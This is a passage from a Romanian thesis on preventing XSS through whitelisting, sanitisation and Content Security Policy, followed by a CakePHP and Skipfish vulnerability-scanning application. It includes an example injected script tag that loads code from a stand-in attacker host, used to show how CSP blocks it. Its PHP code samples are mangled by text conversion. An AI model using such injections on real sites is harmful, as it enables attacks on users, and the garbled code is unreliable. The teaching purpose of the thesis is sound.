“javascript” , deoarece această validare va omite cuvântul “ Javascript:” (unde prima literă este
o majusculă) și "j avascript:" (unde prima literă este codata ca și o referință a unui
caracter numeric)
Învechire
Chiar dacă a fost dezvoltat ă o listă neagră perfectă pentru validare, ar eșua în cazul în care
apare o nouă caracteristică a browser -ului ce permite utilizarea codului periculos. De exemplu,
o listă neagră d e validare a HTML -ului introdusă înainte de apariția atributului HTML5
onmousewheel nu ar reuși să oprească un atacator de la utilizarea acelui atribut pentru a efectua
un atac XSS. Acest neajuns este semnificativ mai ales în dezvoltarea aplicațiilor web, care este
alcătuită din mai multe tehnologii diferite, care sunt în mod constant actualizate.
Din cauza acestor neajunsuri utilizarea listelor negre este o strategie de clasificare puternic
descurajată. O mai bună metodă de clasificare este utilizarea lis telor albe.
38
2.4.2 Prin intermediul listelor albe
În esență, o listă albă reprezintă opusul listei negre, în loc de a defini modelul interzis,
această abordare definește un model permis (legitim) și marchează datele introduse de utilizator
ca și invalide î n cazul în care nu respecta nu îl respectă.
În contrast cu exemplul dat în cazul listelor negre, un exemplu de lista albă ar fi, pentru a
permite utilizatorilor să -și personalizeze URL -urile ce conțin doar protocoalele HTTP și HTTPS
(să înceapă cu http: sau https: ), și nimic altceva. Această abordare ar marca în mod automat o
adresă URL ca și invalidă în cazul în care URL -ul introdus ar începe cu “ javascript:” , cu
“Javascript” , chiar și cu "j avascript:" .
În comparație cu lista neagră există două avant aje majore în utilizarea listelor albe:
Simplitate
Identificarea tuturor modelelor legitime este mult mai ușoară decât identificarea tuturor
modelelor interzise.
Longevitate
În comparație cu o listă neagră, o listă albă nu se va învechi atunci când o nouă caracteristică,
îmbunătățire, este introdusă în browser. De exemplu, validarea prin intermediul listelor albe a
atributului title din elemntele HTML ar rămâne sigur chiar dacă ar fi fost dezvoltate înainte de
introducerea atributului onmousewheel din HTML 5.
2.4.3 Validarea rezultatulu i
Când datele unui utilizator au fost marcate ca invalide, pot fi efectuate una sau ambele
acțiuni de mai jos:
Respingere
Intrarea este pur și simplu respinsă, împiedicând -o să fie utilizată în alte părți ale aplicației
web.
Igienizare
Toate părțile invalide ale intrării sunt eliminate, iar intrarea rămasă este utilizată în mod normal
de către aplicația web.
Dintre acțiunile menționate mai sus cea mai simplă este utilizarea respingerii datelor de
intrare. Datorită acestui fapt igienizarea datelor de intrare poate fi mai utilă în anumite situații
39
deoarece permite introducerea unei game mai largi de date din partea utilizatorului. De exemplu,
în cazul în care un utilizator trimite un număr de card de credit, o funcție ce ar e limina toate
caracterele ce nu reprezintă cifre ar impiedia injectarea de cod malițios, precum și permițând
utilizatorului normal să introducă numărul de card cu sau fără cratimă.
În cazul în care ne decidem să punem în aplicare acțiunea de igienizare, tr ebuie să ne
asigurăm că funcția de igienizare nu utilizează o metodă de lista neagră. De exemplu, URL -ul
“Javascript:… ”, chiar dacă a fost marcat ca invalid în urma validării cu o listă albă, s -ar obține o
funcție de igienizare ce pur și simplu șterge to ate aparițiile șirului de caractere “ javascript: ”. Din
acest motiv ar trebui utilizate bibliotecile și framework -urile foarte bine testate pentru o mai bună
igienizare.
2.4.4 Cea mai bună techinica de prevenire a atacurilor XSS
Codificarea ar trebui să fie prima linie de apărare împotriva acestor tipuri de atacuri,
deoarece însuși scopul său este de a neutraliza datele pentru a nu fi interpretate ca și cod Javascript.
În unele cazuri codarea trebuie să fie completată cu validarea. Codarea și validarea ar trebui
utilizate înainte de introducerea datelor în pagină, deoarece în acest moment știm ce context să
folosim pentru codare și validare.
Ca o a doua linie de apărare ar trebui să utilizăm validarea tuturor datelor de intrare pentru
a igieniza sau a res pinge date care sunt în mod clar invalide, cum ar fi URL -ul ce conține
“javascript: ”. Acesta metodă, ca o a doua linie de apărare, este bine să o utilizăm deoarece prima
linie de apărare poate produce erori de codare sau validare.
În cazul în care aceste două linii de apărare sunt folosite în mod consecvent, aplicația web
va fi protejată de atacuri XSS. Cu toate acestea din cauza complexității creări și menținerii unei
aplicații web, realizarea unei protecții complete este destul de dificilă. Ca o a treia linie de apărare
ar trebuie să se utilizeze politica de securitate de conținut a browser -ului (CSP).
2.4.5 Politica de securitate de conținut (CSP – Content Security Policy)
Dezavantajul de a proteja aplicația web împotriva atacurilor XSS numai prin uti lizarea
metodelor de manipulare a datelor de intrare este că, și un singur interval de nefuncționare a
sistemului de securitate poate compromite aplicația. Un standard recent apărut numit Content
Security Policy (CSP) poate diminua acest risc.
CSP-ul este utilizat pentru a constrânge browser -ul ut ilizatorului în momentul vizionă rii
paginii curente, astfel încât să poată utiliza numai resurse descărcate din surse de încredere. O
40
resursă este un script, un stil, o imagine, sau un alt tip de fișier menționat și utilizat de pagina
curentă. Acest l ucru înseamnă că în cazul în care un a tacator reușește injectarea păgi nii cu u n cod
malițios în aplicația web CSP-ul îi va împiedica executarea.
CSP-ul poate fi utilizat pentru a pune în aplicare următoarele reguli:
Nici o sursă de neîncredere
Resursele externe pot fi încărcate numai dintr -un set de surse de încredere
Nici o resursă în cod scris î n line (în pagina curentă)
Javascript -ul și CSS -ul introduse în pagina curentă, fără să fi specificat o adresă externă
paginii curente, nu vor fi evaluate.
Respingerea utilizăz ii funcției eval
Funcția eval din Javascript nu poate fi utilizată în pagina aplicației web.
CSP în acțiune
În exemplul de mai jos un atacator a reușit injectarea codului malițios în pagina aplicației
web:
<html>
Ultimul comentariu:
<script src="http://atacator/script -periculos.js"></script>
</html>
Cu ajutorul politicii de CSP definite în mod corespunzător, browser -ul nu se va încărca și
nu va executa script -ul http://atacator/script -periculos.js deoa rece http://atacator nu ar fi în setul
de surse de încredere. Chiar dacă aplicația web nu a reușit să prevină acest atac prin codarea și
validarea datelor de intrare, CSP -ul a împiedicat vulnerabilitatea aplicației, și a oprit script -ul
periculos.
Chiar d acă atacatorul ar fi inject at cod î n line (în pagina curentă), mai degrabă decât
conectarea la un fișier extern, o politică de CSP definită în mod corespunzător interzice executar ea
codului de Javascript scris ț n line, și ar fi împiedicat și acest tip de a tac.
41
Cum se activează CSP -ul
În mod implicit browser -ele nu impun utilizarea CSP -ului. Pentru a activa CSP -ul pentru
aplicația web paginile trebuie să fie servite către browser cu un antet HTTP suplimentar:
Content‑Security‑Policy . Orice pagină ce va fi servită cu acest antet va avea activat CSP -ul numai
dacă browser -ul curent suporta aceast standard.
Atât timp cât antetul este trimis pentru fiecare răspuns HTTP, este posibil ca ser ver-ul să
seteze politica pagină cu pagină . Aceeași politică poate fi a plicată în întreaga aplicație w eb prin
adăugarea aceluiaș antet în fiecare răspuns.
Valoarea antetului Content‑Security‑Policy este un șir de caractere ce definește una sau
mai multe politici de securitate care vor fi aplicate în aplicația web.
Sintaxa CSP -ului
Sintaxa antetului de CSP este următoarea:
Content‑Security‑Policy:
Directive source ‑expression, source ‑expression,…;
Directive…;
Sintaxa este alcătuită din două componente:
Directivă (directive)
Un șir de caractere ce specifică tipu l resursei, preluata dintr -o listă predefinită .
Expresiile sursei (source -expressions)
Sunt modele ce descriu unul sau mai multe servere de unde resursele pot fi descărcate
Directivele
Directivele pot fi utilizate într -un antet CSP după cum urmează:
conn ect‑src
font‑src
frame‑src
img‑src
media‑src
42
object‑src
script‑src
style‑src
În plus față de acest ea, directiva specială implicită default -src poate fi folosită pentru a
furniza o valoare implicită pentru toate directivele ce nu au fost incluse în antet.
Expresiile sursă
Sintaxa unei expresii sursă este următoarea:
Protocol: //nume -host: numar -port
Numele de gazdă poate începe cu *. , ceea ce înseamnă că orice subdomeniu al numelui de
gazdă furnizat va fi permis. În mod similar, numărul portului poate fi *, ceea ce înseamnă că toate
porturile vor fi permise. În plus, numărul de protocol și de port pot fi omise. În cele din urmă un
protocol poate fi administrat de la sine, ceea ce face posibil ca toate resursele să se încarce prin
intermediul HTTPS.
În plus față de sintaxa de mai sus, o expresie sursa poate lua valoarea unui cuvânt cheie de
mai jos:
'none'
Nu permite resurse.
'self'
Permite resurse din gazdă ce a servit pagina.
'unsafe‑inline'
Permite re sursele încorporate în pagina (î n line) cum ar fi î ncorporarea elementului
<script> , a elementului <style> , sau a URL -urilor de forma “ javascript: ”
'unsafe‑eval'
Permite utilizarea funcției Javascript eval.
Când se utilizează CSP -ul, resursele încorporate în pagina sau funcția eval sunt implicit
dezactivat e. Folosind valorile ‘ unsafe -inline ’ și ‘unsafe -eval’ reprezintă singura modalitate de a le
activa.
43
Exemplu de CSP
Content‑Security‑Policy:
Script‑src 'self' aplicație. Exemplu.ro;
Media‑src 'none';
Img‑src *;
Default‑src 'self' http://*. Exemplu.ro
În acest exemplu de politică pagina are următoarele restricții:
Script -urile (scrise în Javscript) pot fi descărcate numai de la gazda aplicației curente și din
locația aplicație. Exemplu.ro .
Fișierele audio și fișierele video nu pot fi descărcate de nicăieri.
Imaginile pot fi descărcate de la orice gazdă.
Toate celelalte resurse pot fi descărcate numai din gazdă care servește aplicația web și din
orice subdomeniu al domeniului exemplu.ro .
Starea CSP -ului
Începând cu data de Iunie 2013, Content Security Policy este recomandat să se utilizeze de
către W3C. Acesta este implementat de către furnizorii de browsere, dar părți din el sunt specifice
doar pentru anumite browsere. În special antetul HTTP pentru CSP poate varia de la br owser la
browser. Înainte de a utiliza CSP -ul trebuie să se studieze documentația browser -ului pe care vom
dori să ruleze aplicație web.
44
Capitolul III: Aplicație ce detectează vulnerabilități în aplicații web
Aplicația a fost creată pe sistemul de operare Debian GNU/Linux 8 (jessie), fo losind
versiunea de PHP 5.6.19 împreaună cu MySQL. Ca framework PHP a fost folosit CakePHP 3.2,
iar ca tool pentru scanarea efectivă a fost folosit Skipfish (Google).
Afișarea a fost finalizată cu ajutorul HTML ș i CSS, iar ca limbaje de programare folosite
sunt Javascript și PHP.
3.1 Prezentarea interfeței
Aplicația se poate accesa de la următoare adresa https://dizertație.pdobrea.ro . Tehnologiile
folosite pentru cr earea acesteia sunt HTML (folosind framework -ul Bootstrap pentru o afișare
bună și pe dispozitivele mobile), CSS, Javascript și PHP.
Aceasta aplicație conține următoarele pagini: pagină pentru autentificare, pagină pentru
crearea conturilor, pagină pentru recuperarea parolei și pentru resetarea acest eia, și pagina
principală, a panoului de control.
Pentru a avea acces trebuie să ne creeam un cont accesând URL -ul
https://dizertație.pdobrea.ro/inregistreaza -cont.html , completând datele necesare.
Fig. 3.1 Pagina pentru creare utilizator
Următorul pa s este să ne autentificăm accesând pagina https://dizertație.pdobrea.ro/ și
completând email -ul și parola contului creat anterior.
45
Fig.3.2 Pagina autentificare
În cazul în care am uitat parola contului creat putem face o cerere de resetare a parolei
accesând adresa https://dizertație.pdobrea.ro/resetare -parola.html. După depunerea acestei cereri
vom primi pe e -mail un link securizat ce permite schimbarea parolei doar pentru contul ce a făcut
cererea.
Fig.3 .3 Pagina pentru resetarea parolei
46
Fig.3 .4 Pa gina pentru resetarea parolei
Dacă totul este în regulă în urma autentificării putem accesa pagina panoului de control
https://dizertație.pdobrea.ro/utilizator/pagina -principa la.html .
Fig.3 .5 pagina panoului de control
O dată autentificat pe această platformă putem face următoarele acțiuni:
Vizualizarea informațiilor despre contul nostru.
Schimbarea numelui, numărului de telefon și a detaliilor despre noi.
Crearea testel or pentru detectarea vulnerabilităților web.
Pornirea testelor create.
Ștergerea și oprirea testelor create.
Vizualizarea tuturor scanărilor pentru fiecare test.
Vizualizarea raportului final pentru fiecare scanare efectuată.
47
3.2 Descriere bazei de dat e
Pentru a dezvolta aceasta aplicație aveam nevoie de următoarele tabele:
Users , folosită pentru stocarea informațiilor despre utilizator:
Id (Cheie principală (PK), cu incrementare automată, de tip INT (11))
Email (de tip TEXT)
Password (de tip TEXT)
Name (de tip TEXT)
Phone (de tip TEXT)
Details (de tip TEXT)
Permission (de tip TEXT)
Created (de tip DATETIME)
Modified (de tip DATETIME)
Status (de tip TEXT)
Fig.3 .6 Tabelul Users
Tokens , folosită ca metoda de siguranță pentru generarea unui cod de se curitate ce este
asociat unui utilizator pentru o anumită acțiune:
Id (Cheie principală (PK), cu incrementare automată, de tip INT (11))
Code (de tip TEXT)
Created (FK, de tip INT (11))
Ușer_id (de tip DATETIME)
Modified (de tip DATETIME)
Status (de tip TE XT)
Fig.3 .7 Tabel Tokens
48
Tests , folosită pentru stocarea testelor efectuate:
Id (Cheie principală (PK), cu incrementare automată, de tip INT (11))
Name (ce continue un URL, de tip TEXT)
Ușer_id (FK, de tip INT (11))
Created (de tip DATETIME)
Modified (d e tip DATETIME)
Status (de tip TEXT)
Fig.3 .8 Tabel Tests
Scans , folosită pentru a stoca toate scanările pentru un anumit test:
Id (Cheie principală (PK), cu incrementare automată, de tip INT (11))
Test_id (FK, de tip INT (11))
Details (de tip TEXT)
Creat ed (de tip TEXT)
Modified (de tip TEXT)
Status (de tip TEXT)
Fig.3 .9 Tabel Scans
3.3 Cakephp
CakePHP 3. X este un framework PHP ce rulează în PHP 7 (minim PHP 5.5.9). Este
dezvoltat pentru a proiecta aplicații web comune foarte ușor.
CakePHP o feră o structură organizațională în legătură cu numele claselor, numele
fișierelor, numele tabelelor bazelor de date, și multe alte convenții. Acesta este un framework
MVC (Model View Controller).
Modelul
Această parte se ocupa cu implementarea logicii aplicați ei. Modelul este responsabil pentru
transmiterea datelor și convertirea acestora în con cepte principale pentru aplictaț ia web. Acesta
include procesarea, validarea, asocierea și alte acțiuni ce au legătură cu procesarea datelor.
Exemplul de model (modelul pentru utilizatori):
49
<? Php
Namespace App \Model \Table;
Use App \Model \Entity \Ușer;
Use Cake \ORM \Query;
Use Cake \ORM \RulesChecker;
Use Cake \ORM \Table;
Use Cake \Validation \Validator;
Class UsersTable extends Table
{
Public function initialize (array $con fig)
{
Parent: initialize ($config);
$this ->table ('users');
$this ->displayField ('id');
$this ->primaryKey ('id');
$this ->addBehavior ('Timestamp');
}
Public function validationDefault (Validator $validator)
{
$validator
->add ('id', 'valid', ['rule' => 'numeric'])
->allowEmpty ('id', 'create')
->add ('id', 'unique', ['rule' => 'validateUnique', 'provider' => 'table']);
$validator
->add ('emai l', 'valid', ['rule' => 'email', 'message' => 'Adresa de email este invalidă.'])
->requirePresence ('email', 'create')
->notEmpty ('email', 'Trebuie să introduci o adresă de email.');
$validator
->requirePresence ('pas sword', 'create')
->notEmpty ('password', 'Trebuie să introduci o parolă.');
$validator
->requirePresence ('password -again', 'create')
->notEmpty ('password -again', 'Trebuie să introduci o parolă.')
->add ('password -again',
'compareWith', [
50
'rule' => ['compareWith', 'password'],
'message' => 'Trebuie să introduci de 2 ori aceeași parolă.'
]
);
$validator
->add ('name', [
'length' => [
'rule' => ['minLength', 10],
'message' => 'Numele trebuie să fie
de cel puțin 10 caractere.',
]
])
->requirePresence ('name', 'create')
->notEmpty ('name', 'Trebuie să introduci un nume.');
$validator
->add ('phone', 'custom', [
'rule' => function ($value, $context) {
If (! Îs_numeric ($value))
Return false;
Return true;
},
'message' => 'Trebuie să introduci un număr de telefon valid.',
])
->requirePresence ('phone', 'create')
->notEmpty ('phone', 'Trebuie să introduci un număr de telefon.');
$validator
->requirePresence ('details', 'create')
->notEmpty ('details', 'Trebuie să introduci detalii aferente.');
$validator
->requirePresence ('permission' , 'create')
->notEmpty ('permission');
$validator
->requirePresence ('status', 'create')
->notEmpty ('status');
51
Return $validator;
}
Public function buildRules (RulesChecker $rules)
{
$rules->add ($rules ->isUnique (['email']));
Return $rules;
}
}
View -ul (Vizualizarea)
Această parte afișează într -un mod dorit datele modelate. Fiind separat de model este
responsabil pentru utilizarea informației pentru crearea unei interfețe graf ice cu aj utorul căreia
aplicația comunică cu utilizatorul. View -ul oferă următoarele extensii de care te poți folosi View
Template, Elements, View Cells pentru a refolosi codul scris.
Acesta nu este limitat în a afișa doar HTML sau text. El poate afișa f ormat -uri de date
comune cum ar fi JSON, XML, CSV sau orice alt format pe care îl dorim.
Exemplu de view (pagina de autentificare):
<div class="col -xs-1 col -sm-1 col -md-4 col -lg-4"></div>
<div class="container -fluid col -xs-11 col -sm-11 col -md-4 col -lg-4">
<header class="section -header center">
<div class="tbl">
<div class="tbl -row">
<div class="tbl -cell">
<img src="/img/logo.png" alt="" class="circle responsive –
img valign profile -image -login">
<p class="center login -form -text">Autentif icare</p>
</div>
</div>
</div>
</header>
<section class="card">
<div class="card -block">
<div class="row">
<div class="col -xs-12 col -sm-12 col -md-12 col -lg-12">
52
<? Php echo $this ->Form ->create (null, ['id' => 'login']);?
>
<fieldset class="form -group">
<p class="error"><? Php echo $this ->Flash –
>render ();? ></p>
</fieldset>
<fieldset class="form -group">
<input id="email" name="email" type="email"
tabindex="1" class="form -control"/>
<label for= "email" class="form -label
center -align">Email</label>
</fieldset>
<fieldset class="form -group">
<input id="password" name="password"
type="password" tabindex="2" class="form -control"/>
<label for="password" class="form –
label">Paro la</label>
</fieldset>
<fieldset class="form -group">
<a id="submit" href="javascript: void (0);"
class="btn">Login</a>
</fieldset>
<fieldset class="form -group center">
<p class="margin medium -small"><a
href="<? Php ech o $this ->Url ->build (["controller" => "Pages", "action" => "register"],
true);? >">Înregistrează</a></p>
<p class="margin right -align medium –
small"><a href="<? Php echo $this ->Url ->build (["controller" => "Pages", "action" =>
"forgotPassword"], true );? >">Ați uitat parola?</a></p>
</fieldset>
<? Php echo $this ->Form ->end ();? >
</div>
</div><! –. Row –>
</div>
</section>
53
</div><! –. Container -fluid–>
<div class="col -xs-1 col -sm-1 col -md-4 col -lg-4"></div>
<script>
$ (documen t). Ready (function (){
$ ("#submit"). Click (function (event){
$ ("#login"). Submit ();
Return false;
});
$ (window). Keydown (function (e) {
If (e. KeyCode == 13) {
$ ("#submit"). Click ();
}
});
});
</script>
<style>
. Page -content {
Padding:0;
}
</style>
Controller
Această parte se ocupa cu management -ul cererilor venite de la utilizator. Este responsabil
cu o comunicare continua cu Modelul și View -ul. Controller -ul poate fi văz ut că un manager care
se asigură că toate resursele necesare pentru a completa o sarcină sunt asociate corect către
muncitori. Așteaptă comenzi de la client, veri fică validitatea acestora utilizând reguli de
autentificare și reguli de autorizare, împarte procesarea datelor către model, selectează tipul de
prezentare a datelor pe care clientul o acceptă, și într -un final trimite procesele de afișare către
View.
Exemplu controller (Controller -ul pentru utilizatori):
<? Php
Namespace App \Controller;
54
Use App \Controller \AppController;
Use Cake \I18n\Time;
Use C ake\Mailer \Email;
Use Cake \Routing \Router;
Use Cake \Core \Configure;
Use Cake \Utility \Security;
Class UsersController extends AppController
{
Public function initialize ()
{
Parent: initialize ();
$this ->Auth ->allow (['login', 'logout', 'add' , 'activateAccount', 'resetPassword',
'changePassword']);
}
Public function login (){
//Redirect ușer if îs logged
If ($this ->client ['isLogged']){
Return $this ->redirect (['controller' => 'Pages', 'action' => 'dashboard']);
}
If ($this ->reque st->îs ('post')) {
$ușer = $this ->Auth ->identify ();
If ($ușer && $ușer ['status'] == 'active') {
$ușer ["title"] = Configure: read ("Ușer. Right.". $ușer
["permission"]);
$ușer ["image"] = Security: hash ($ușer ["id"]. $ușer ["created"] –
>i18 nFormat (), 'sha256', true).".jpg";
$this ->Auth ->setUser ($ușer);
Return $this ->redirect ($this ->Auth ->redirectUrl ());
}
$this ->Flash ->error ("Ușer/Parola greșit/a!");
}
}
Public function logout (){
Return $this ->redirect ($this ->Auth ->logout ());
}
55
Public function add (){
$response = array (
'message' => ",
'status' => 0,
);
//Create new Entity
$ușer = $this ->Users ->newEntity ();
//Check if request îs post
If ($this ->request ->îs ('post')) {
//Set de fault status
$this ->request ->dată ['status'] = 'inactive';
$this ->request ->dată ['permission'] = 'normal';
$this ->request ->dată ['details'] = 'empty';
$ușer = $this ->Users ->patchEntity ($ușer, $this ->request ->dată);
//Save ușer details
If ($this_ușer = $this ->Users ->save ($ușer)) {
//Add component RandomStrings
$this ->loadComponent ('RandomStrings');
//Generate a random strâng
$this ->RandomStrings ->generate (['bulk' => array (10,5,15)]);
$activation_code = $ this->RandomStrings ->getCode (1);
//Add model Activation Codes
$this ->loadModel ('Tokens');
$activation_code_details = array (
'code' => $activation_code,
'user_id' => $this_user ->id,
'status' => 'activate_user',
);
$activationCodeInfo = $this ->Tokens ->newEntity ();
$activationCodeInfo = $this ->Tokens ->patchEntity
($activationCodeInfo, $activation_code_details);
$save_activation_code = $this ->Tokens ->save
($activationCodeInfo);
56
$activation_link = Router: url (['controller' => 'Users', 'action' =>
'activate_account', $activation_code, Security: hash ($this ->request ->dată ['email'], 'sha256',
true)], true);
If ($save_activation_code){
$send_email = new Email ();
$send_email ->template ('welcome' )
->subject (__ ('Bine ai venit pe platformă!'))
->emailFormat ('html')
->transport ('default')
->to ($this ->request ->dată ['email'])
->from (Configure: read ('Admin. Email'))
->viewVars (['activation_link' =>
$activatio n_link])
->send ();
}
$response = array (
'message' => 'Cont create cu succes! Pentru a activa
contul vă rugăm să verificați adresa de email introdusă.',
'status' => 200,
);
Die (json_encode ($response));
} else {
$errors = array ();
$errArray = $user ->errors ();
If (! Empty ($errArray)){
Foreach ($errArray aș $field => $errs){
Foreach ($errs aș $err){
$errors [] = array (
"field" => $field,
"message" => $err,
);
}
}
}
57
$response = array (
'message' => 'A intervenit o eroare!',
'errors' => $errors,
'status' => 500,
);
Die (json_encode ($response));
}
}
$response = array (
'message' => 'A intervenit o eroar e! Vă rugăm să încercați mai
târziu.',
'status' => 500,
);
Die (json_encode ($response));
}
Public function activateAccount ($token = "", $pass = ""){
…
}
Public function resetPassword (){
…
}
Public function changePassword ($token = "", $pass = ""){
…
}
Public function changeImage (){
…
}
Public function changeDetails (){
…
}
Public function changeUserDetails (){
…
}
58
Public function getUsers (){
…
}
Public function getUser (){
…
}
Public function d eleteUser (){
…
}
}
Fig.3 .10 Reprezentarea MVC -ului din CakePHP
Ciclul de viață a unei cereri CakePHP este următorul:
Server -ul web rescrie cererile direct trimise în webroot/index.php
Fișierele autoloader și bootstrap sunt executate.
Activarea anu mitor filtre care pot fi configurate pentru a răspunde la anumite cereri.
Dispeceratul selectează cel mai apropiat controller și cea mai apropiată acțiune bazându –
se pe rutele scrise.
59
Este executată acțiunea controller -ului, iar acesta poate interacționa c u orice model sau
componentă.
Controller -ul alege un răspuns pe care îl trimite mai departe către View pentru a genera un
răspuns către interfața aplicației.
View -ul se folosește de Helper -e și de Cells -uri pentru a genera conținutul și antetul
interfeței web.
Răspunsul este trimis către client.
3.4 Skipfish
Este o aplicație ce scanează aplicațiile web pentru a detecta vulnerabilități de securitate.
Pregătește harta aplicației pentru a se ocupa recursiv de fiecare pagină cu ajutorul unui crawl -er,
testând probe bazate pe dicționar. Raportul final generat este menit să ajute profesioniștii în
securizarea aplicațiilor web, pentru a repara vulnerabilitățile găsite.
Acesta poate detecta următoarele vulnerabilități:
Vulnerabilități de risc mare (ce pot compromit e sistemul)
o SQL/PHP injection,
o Shell injection,
o XML/XPath injection,
o Vulnerabilități de formatare,
o Vulnerabilitate supraîncărcării întregilor,
o Locații ce acceptă PUȚ în HTTP.
Vulnerabilități de risc mediu (ce pot compromite datele)
o XSS persistent și XSS n on-persistent în conținutul documentului,
o XSS persistent și XSS non -persistent în redirectari HTTP,
o Parcurgerea directoarelor/Includerea fișierelor,
o Fișiere POI,
o Fișiere externe de neîncredere, etc.
Vulnerabilități de risc minim (ce au un im pact limitat ș i scăzut)
o Listarea directoarelor,
o Redirectă ri către URL -uri necunoscute,
o Introducerea de conținut necunoscut,
o Aplicări din HTTPS în HTTP,
o Certificate SSL expirate,
60
o Formulare fără protecți e XSRF, etc.
Instalarea aplicației Skipfish
Pasul 1
o se descarcă pach etul, cu următoarea comandă:
Wget -c http://skipfish.googlecode.com/files/skipfish -2.10b.tgz
Pasul 2
o se decomprimă pachetul descărcat, cu următoare a comandă :
Tar -vxzf skipfish -2.10b. Tgz
Pasul 3
o schimbăm directorul în care ne aflăm, cu următoare comandă :
Cd skipfish -2.10b
Pasul 4
o Instalăm pachetele libcurl3 -openssl -dev și libpcre3 -dev, cu următoarele comenzi
Apt-get install libcurl3 -openssl -dev
Apt-get install libpcre3 -dev
Pasul 5
o Compilă m aplicația, cu următoarea comandă:
Make
o Dacă aplicația se compil ează fără erori trebuie să obținem următorul mesaj:
Server: ~/skipfish -2.10b# make
Cc -L/usr/local/lib/ -L/opt/local/lib src/skipfish. C -o skipfish \
– O3 -Wno-format -Wall -funsigned -char -g -ggdb -I/usr/local/include/ –
I/opt/local/include/ -DVERSION =\"2.10b \" src/http_client. C src/database. C
src/crawler. C src/analysis. C src/report. C src/checks. C src/signatures. C src/auth. C
src/options. C -lcrypto -lssl -lidn -lz -lpcre
See doc/dictionaries.txt to pick a dictionary for the tool.
Having probl ems with your scans? Be sure to visit:
http://code.google.com/p/skipfish/wiki/KnownIssues
61
Server: ~/skipfish -2.10b#
Utilizare Skipfish
Root@kali: ~# skipfish -h
Skipfish web application scanner – version 2.10b
Folosire: skipfish [opțiuni…] -W lista_de _cuvinte -o director_de_ieșire url_de_start
[url_de_start_2…]
Opțiuni de autentificare și acces:
-A utilizator: parola, folosirea de credentiale HTTP
-F host=IP, pentru a face ca un host să bată într -un IP specific
-C name=val, aplică cookie pentru toat e cererile
-H name=val, aplică un antet pentru toate cererile
-b (i|f|p), folosește ante tul consi stent cu MSIE/Firefox/iPhone
-N, nu accepta orice alt cookie nou
–auth-form url, URL -ul pentru autentificare
–auth-user ușer, utilizatorul pentru autentifica re
–auth-pass pass, parola pentru autentificare
–auth-verify -url, URL -ul pentru o sesiune detectată
Opțiuni pentru crawler:
– d max_depth, cât de adânc să parcurge crawler -ul aplicația, (16)
– c max_child, moștenitori pentru fiecare nod (512)
– x max_de sc, moștenitori pentru fiecare branch (8192)
– r r_limit, numărul total de cereri trimise (100000000)
– p crawl%, probabilitate (100%)
– q hex, repetă scanările probabilistice
– I strâng, urmărește doar URL -urile ce conțin ‘string’
– X strâng, exclude URL -urile ce conțin ‘string’
– K strâng
– D domain, permite parcurgerea domeniului ‘domain’
– B domain, nu parcurge domaniul ‘domain’
62
– Z, nu parcurge locații de forma 5XX
– O, să nu completeze formulare
– P, nu pargurge HTML -ul pentru a găsi noi URL -uri
Opțiuni de raportare:
– o dir, scrie în directorul specificat (opțiune obligatorie)
– M, scrie alertele
– E, scrie toate neconcordantele pentru HTTP/1.0/HTTP/1.1
– U, scrie toate URL -urile și email -urile găsite
– Q, elimina duplicatele din raport
– u, opr ește statisticile în timp real pentru a rula în liniște
– v, pornește logarea timpului de execuție (pentru stderr)
Opțiuni pentru managementul dicționarului:
– W wordlist, folose ște o listă de cuvinte (opțiune obligatorie)
– S wordlist, încarcă o listă op țională de cuvinte
– L, nu învață automat cuvintele cheie din aplicație
– Y
– R age
– T name=val, adaugă regulă de autocompletare pentru formulare
– G max_guess, numărul total de cuvinte cheie ghicite și păstrate
– z sigfile, încarcă semnătura de la ‘s igfile’
Setări de performanță:
– g max_conn, numărul de conexiuni TCP simultane (10)
– f max_fail, numărul maxim de errori HTTP (100)
– t req_tmout, timpul de așteptare pentru o cerere (20 s)
– w rw_tmout, ti mpul individual pentru I/O de aș tepare (10 s)
– i idle_tmout, timpul de așteptare pentru conexiuni HTTP idle (10 s)
– s s_limit, mărimea limitei răspunsului (400000 B)
– e, nu păstrează răspunsul binar pentru raportare
63
Alte setări:
– l max_req, numărul de cereri pe secundă (0.000000)
– k duration, o prește scanarea după un timp dat (h: m: s)
–config file, încarca fișierul de configurare specificat
64
Concluzii
Un atac XSS este un atac ce injectează cod scris în Javascript din cauza manipulării
inadecvate a datelor introd use de utilizatorul aplicației web.
Un atac XSS ce are loc cu succes permite unui atacator să execute cod malițios scris în
Javascript ce va rula în browser -ul clientului (utilizatorului). El va compromite atât securitatea
aplicației web cât și securitatea utilizatorilor săi.
Există trei tipuri majore de atacuri XSS: persistent, în cazul în care codul malițios provine
din baza de date a aplicației, non -persistent, sau reflectat, în cazul în care codul periculos provine
din cererea făcută de către browser -ul victimei, și bazat pe DOM, în cazul în care vulnerabilitatea
provine din codul la nivel de client, mai degrabă decât din codul la nivel de server. Toate aceste
atacuri sunt efectuate în moduri diferite, dar au același efect în cazul în care se termină cu succes.
Cel mai important mod de prevenire a atacurilor XSS este de a efectua o procesare
securizată sigură a datelor ce provin de la utilizatorii aplicației web. În cea mai mare parte a
timpului trebuie să se facă o codificare adecvată atunci când datele editate de utilizator sunt
introduse într -o pagină sub formă de HTML. În unele cazuri codificarea trebuie să fie înlocuită
sau completată cu o validare adecvată.
Procesarea securizată a datelor de intra re trebuie să ia în calcul context ul în care se introd uc
datele în pagina. Pentru a preveni toate tipurile de atacuri XSS procesarea securizată pe datele de
intrare trebuie să fie efectuată atât la nivel de client cât și la nivel de server.
Content Security Polocy oferă un strat suplimentar de apărare atunci când o procesare
securizată sigură eșuează.
65
Bibliografie
1. BINBIN QU., Design of automatic vulnerability detection system for Web
application program , Software Engineering and Service Science, 2013 4th
IEEE International Conference on, On page(s ): 89– 92.
2. GARFINKEL S., SPAFFORD G., Web Security, Privacy & Commerce ,
Publisher: O'Reilly Media, 2001 .
3. HUANG Y. -W., YU F., HANG C., TSAI C. -H., LEE D.T., KUO S. -Y., Verifying
web applications using bounded model checking , In DSN, 2004.
4. HUANG Y -W, YU F. , HANG C., TSAI C. -H., LEE D. -T., KUO S. -Y, Securing web
application code by static analysis and runtime protection . In WWW '04:
Proceedings of the 13th International Conference on World Wide Web, 2004.
5. XIE Y., AIKEN A., Static Detection of Security Vuln erabilities in Scripting
Languages , 15th USENIX Security Symposium, pp. 179 –192, 2006.
6. https://www.owasp.org
7. https://www. owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_S
heet
8. https://www.owasp.org/index.php/Category:OWASP_Guide_Project
9. https://www.owasp.org/index.php/Category:OWASP_Guide_Project
10. https://www.owasp.org/index.php/Category:OWASP_Code_Review_Project
11. https://www.owa sp.org/index.php/Category:OWASP_Testing_Project
